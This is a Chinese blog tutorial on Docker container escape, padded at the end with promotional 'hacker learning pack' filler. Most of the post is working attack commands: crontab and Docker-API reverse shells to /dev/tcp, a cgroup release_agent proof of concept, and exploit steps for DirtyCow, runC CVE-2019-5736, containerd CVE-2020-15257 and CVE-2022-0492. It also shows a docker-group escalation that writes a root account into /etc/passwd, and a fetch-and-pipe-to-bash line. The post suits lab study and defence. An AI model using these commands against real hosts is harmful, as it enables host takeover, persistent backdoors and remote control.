Docker逃逸总结,从零基础到精通,收藏这篇就够了!

0x01 容器逃逸?听起来就很刺激!

各位安全老司机,上车前先系好安全带!今天咱们聊点刺激的——Docker容器逃逸。想必大家都知道,Docker容器就像一个个独立的“小房间”,但有时候,这些“小房间”的门锁可能没那么牢靠,一不小心就被咱们给撬开了,直接溜达到宿主机的大院子里。

容器逃逸主要有三种姿势:

  1. 姿势不对,配置来背: 不安全的配置,简直就是给黑客开了后门!
  2. 程序猿哥哥的锅: 相关程序漏洞,程序写得不好,黑客来帮忙“优化”。
  3. 内核老爷爷也打盹: 内核漏洞,系统内核的bug,谁也跑不了。

0x02 如何判断自己是不是身处“贼船”?(Docker信息收集)

别慌,先别急着跑路,咱们先看看自己是不是真的在Docker容器里,以及这个容器是不是个“漏勺”。当然,以下方法成功率并非100%,仅供参考:

2.1 我是不是在Docker里?

在root权限下,执行以下命令,看看有没有“中奖”:

cat /proc/1/cgroup | grep -qi docker && echo "恭喜你,在Docker里!" || echo "安全!不在Docker里!"

2.2 我是不是在“特权模式”?

特权模式就像开了“无敌金身”,权限大得吓人!

cat /proc/self/status | grep -qi "0000003fffffffff" && echo "特权模式已开启,危险!" || echo "普通模式,还算安全。"

2.3 Docker Socket 挂载了吗?

Docker Socket就像是通往Docker守护进程的“传送门”,有了它,就能控制整个Docker!

ls /var/run/ | grep -qi docker.sock && echo "Docker Socket 已挂载,高危!" || echo "Docker Socket 未挂载,安全。"

2.4 Procfs 挂载了吗?

Procfs 包含了系统进程的信息,如果被挂载,可能会泄露敏感信息。

find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs 已挂载,注意!" || echo "Procfs 未挂载,安全。"

2.5 宿主机根目录挂载了吗?

如果宿主机的根目录被挂载到容器里,那简直就是把家门钥匙直接交给小偷!

find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo "宿主机根目录已挂载,危险!!!" || echo "宿主机根目录未挂载,安全。"

2.6 Docker Remote API 未授权访问?

如果Docker Remote API 没有进行授权验证,任何人都可以通过它来控制Docker!

IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API 开启且未授权,赶紧跑!" || echo "Docker Remote API 关闭或已授权,安全。"

2.7 一键检测脚本,懒人必备!

如果你觉得上面的命令太麻烦,没关系,这里有一键检测脚本,直接梭哈!

项目地址:https://github.com/teamssix/container-escape-check

或者直接在容器里面执行:

wget https://raw.githubusercontent.com/teamssix/container-escape-check/main/container-escape-check.sh -O - | bash

0x03 Docker 配置参数,花式逃逸大法!

如果检测发现你的容器存在安全隐患,那么恭喜你,可以开始你的逃逸之旅了!

3.1 特权模式(privileged)逃逸:我就是“特权阶级”!

启动一个特权容器:

docker run -it --privileged ubuntu:18.04

然后,查看磁盘信息:

fdisk -l

直接挂载宿主机的磁盘:

mkdir mo60
mount /dev/sda1 mo60
cd mo60
ls

成功访问到宿主机文件,是不是很刺激?

接下来,写crontab反弹shell,拿到宿主机权限:

crontab -l
echo "* * * * * bash -i >& /dev/tcp/你的IP/你的端口 0>&1" >> /etc/crontab

3.2 Docker.sock 逃逸:我控制了Docker守护进程!

/var/run/docker.sock是Docker守护进程默认监听的Unix套接字,通过它可以与Docker守护进程通信,控制整个Docker!

启动测试容器,并挂载docker.sock:

docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04

随后在docker容器中安装docker:

apt-get update && apt-get install docker.io -y

安装完成之后,使用docker ps就可以看到宿主机上的容器了!

docker ps

将宿主机的根目录挂载到容器:

docker run -it -v /:/mo60 ubuntu:18.04 /bin/bash

可以看到宿主机文件了,反弹shell也是修改crontab即可。

3.3 挂载宿主机根目录逃逸:我家就是你家!

如果在docker启动的时候挂载了宿主机的根目录,就可以通过chroot获取宿主机的权限!

docker run -it -v /:/mo60/ ubuntu:18.04

还是一样可以通过crontab反弹shell。

3.4 Cgroup执行宿主机系统命令:我能控制你的命令!

通过notify_on_release实现容器逃逸,需要满足以下条件:

  • 以root用户身份在容器内运行
  • 使用SYS_ADMIN Linux功能运行
  • 缺少AppArmor配置文件,否则将允许mountsyscall
  • cgroup v1虚拟文件系统必须以读写方式安装在容器内

启动容器:

docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:18.04

POC:

# In the container
mkdir /tmp/cgroup_poc
cd /tmp/cgroup_poc
mkdir cgroup
mount -t cgroup -o notify_on_release cgroup cgroup
echo $$ > cgroup/tasks
mkdir cgroup/x
echo 1 > cgroup/x/notify_on_release
HOST_PATH=$(sed 's/.*perdir=([^,]*).*//' /etc/mtab)
echo "$HOST_PATH/cmd" > cgroup/release_agent
echo '#!/bin/bash' > cmd
echo 'ls / > /output' >> cmd
chmod a+x cmd
sh -c "echo 0 > cgroup/x/cgroup.procs"

这里执行的ls /运行后结果会输出到output中。

3.5 Docker Daemon API 未授权访问:我是你的幕后黑手!

在Docker的部署文档中,由于默认存在某些不安全的配置样例,导致2375管理端口对外,该未授权访问漏洞是因为Docker API可以执行Docker命令,该接口是目的是取代Docker命令界面,通过URL操作Docker。

使用 vluhub 环境:

git clone https://github.com/vulhub/vulhub.git
cd vulhub/docker/unauth-rce
docker-compose up -d

反弹shell:

import docker

client = docker.DockerClient(base_url='tcp://你的IP:2375')

# 执行命令
command = 'bash -i >& /dev/tcp/你的IP/你的端口 0>&1'
container = client.containers.run('alpine/git', command, remove=True, privileged=True)

print(container.logs().decode('utf-8'))

0x04 其他逃逸姿势,总有一款适合你!

4.1 DirtyCow漏洞逃逸-CVE-2016-5195:老牛也能吃嫩草!

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,通过它可实现Docker容器逃逸,获得root权限的shell。

docker与宿主机共享内核,因此我们需要存在dirtyCow漏洞的宿主机镜像。

下载测试容器并运行:

git clone https://github.com/gebl/dirtycow-docker-vdso.git
cd dirtycow-docker-vdso
docker build -t dirtycow .
docker run -it --rm dirtycow /bin/bash

POC地址,上面的环境会自动下载poc无需手动再次下载:

https://github.com/scumjr/dirtycow-vdso

4.2 runC逃逸-CVE-2019-5736:runC也疯狂!

影响版本:

  • docker version <=18.09.2
  • RunC version <=1.0-rc6

安装环境:

curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

下载Exploit:

git clone https://github.com/Frichetten/CVE-2019-5736-PoC

修改一下要执行的命令,这里我修改为在根目录创建一个文件:

编译一下:

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

把编译后的内容传到docker容器中:

docker cp main id:/

在容器里面运行:

然后我们在宿主机尝试去exec进入该容器即可触发,如果web界面有终端也可以触发比如docker搭建的Jupyter的Terminal:

docker exec -it id /bin/sh

成功执行:

成功在宿主机创建:

有一点要注意docker逃逸出来后,docker状态崩溃,root权限也无法再次进入docker内部。

这里有个坑,一开始我是/bin/bash但是poc里面写的是sh导致命令执行失败,要/bin/bash的话要修改poc把/bin/sh替换成/bin/bash:

docker exec -it id /bin/bash

有两处位置记得都替:

4.3 CVE-2020-15257:Containerd的秘密通道!

Containerd是一个控制runC的守护进程,提供命令行客户端和API,用于在一个机器上管理容器。

在版本1.3.9之前和1.4.0~1.4.2的Containerd中,由于在网络模式为host的情况下,容器与宿主机共享一套Network namespace ,此时containerd-shim API暴露给了用户,而且访问控制仅仅验证了连接进程的有效UID为0,但没有限制对抽象Unix域套接字的访问,刚好在默认情况下,容器内部的进程是以root用户启动的。在两者的共同作用下,容器内部的进程就可以像主机中的containerd一样,连接containerd-shim监听的抽象Unix域套接字,调用containerd-shim提供的各种API,从而实现容器逃逸。

利用要求:

  1. 网络模式为host
  2. 容器内部进程root用户启动

安装环境有漏洞的docker版本:

sudo apt-get install ca-certificates curl software-properties-common
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
sudo apt-get update
sudo apt-get install docker-ce=18.09.2~3-0~ubuntu-xenial docker-ce-cli=18.09.2~3-0~ubuntu-xenial containerd.io

此时查看containerd版本:

docker version

通过--net=host 作为启动参数来运行并进入一个容器:

sudo docker run -itd --net=host ubuntu:18.04 /bin/bash

进入容器:

sudo docker exec -it <容器id> /bin/bash

接着在容器内执行,可看到抽象命名空间Unix域套接字:

cat /proc/net/unix|grep -a "containerd-shim"

然后下载漏洞利用工具 https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz

然后拷贝进容器:

sudo docker cp cdk_linux_amd64 容器id:/tmp

运行工具,执行反弹shell命令,验证得到一个宿主机的shell:

./cdk_linux_amd64 run shim-pwn 反弹IP 反弹端口

反弹的shell为宿主机的shell:

4.4 CVE-2022-0492:Cgroup的“后门”!

当容器没有开启额外安全措施时,获得容器内root 权限即可逃逸到宿主机

漏洞产品: linux kernel - cgroup

影响版本: ~linux kernel 5.17-rc3

在存在漏洞版本的内核的linux中使用docker才可以,这里我们来搭建符合的环境:

git clone https://github.com/brant-ruan/metarget.git
cd metarget/cve/CVE-2022-0492
sudo ./metarget env install
sudo ./metarget env check

运行安装完后查看内核版本:

启动环境:

docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash

这里使用exp:

mkdir /tmp/testcgroup
cd /tmp/testcgroup
git clone https://github.com/Crusaders-of-the-Lost-Idols/CVE-2022-0492.git
cd CVE-2022-0492
gcc -o exp exp.c
./exp

然后运行完查看/result文件即可,这里我是看了宿主机的/tmp目录。

或者使用 https://github.com/chenaotian/CVE-2022-0492/blob/main/exp.sh 使用方法:

./exp.sh "cat /etc/passwd"

这里运行 cat /etc/passwd 可以看到这个是我宿主机用户。

4.5 Docker 用户组提权:我也是“管理员”!

Docker 运行的所有命令都是需要 sudo 来运行,那是因为 docker 需要 root 权限才能跑。

Docker 监护进程有一个特性,它能被允许访问 root 用户或者是在 docker 组里面的所有用户,这就如同拥有 root 的访问权限。

如果一个服务器有一个普通的用户,并且这个用户加入了 docker 组,则这个用户已经是 root 了。

查看当前所在的组,发现在docker组里面:

groups

参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS 这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

又或者:

将 /etc/ 目录挂载进 Docker,查看 shadow 和 passwd:

docker run -v /etc/:/mnt -it alpine

添加一个特权账号,这里先生成密码。

openssl passwd -1 -salt mo60

得到:

$1$mo60$1rTGVj6vCS8EEqxxqnuBH/

然后写入passwd文件:

echo 'mo60:$1$mo60$1rTGVj6vCS8EEqxxqnuBH/:0:0::/root:/bin/bash' >>/mnt/passwd

然后退出docker容器到宿主机成功到root。

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************

猜你喜欢

转载自blog.csdn.net/Javachichi/article/details/146983509
今日推荐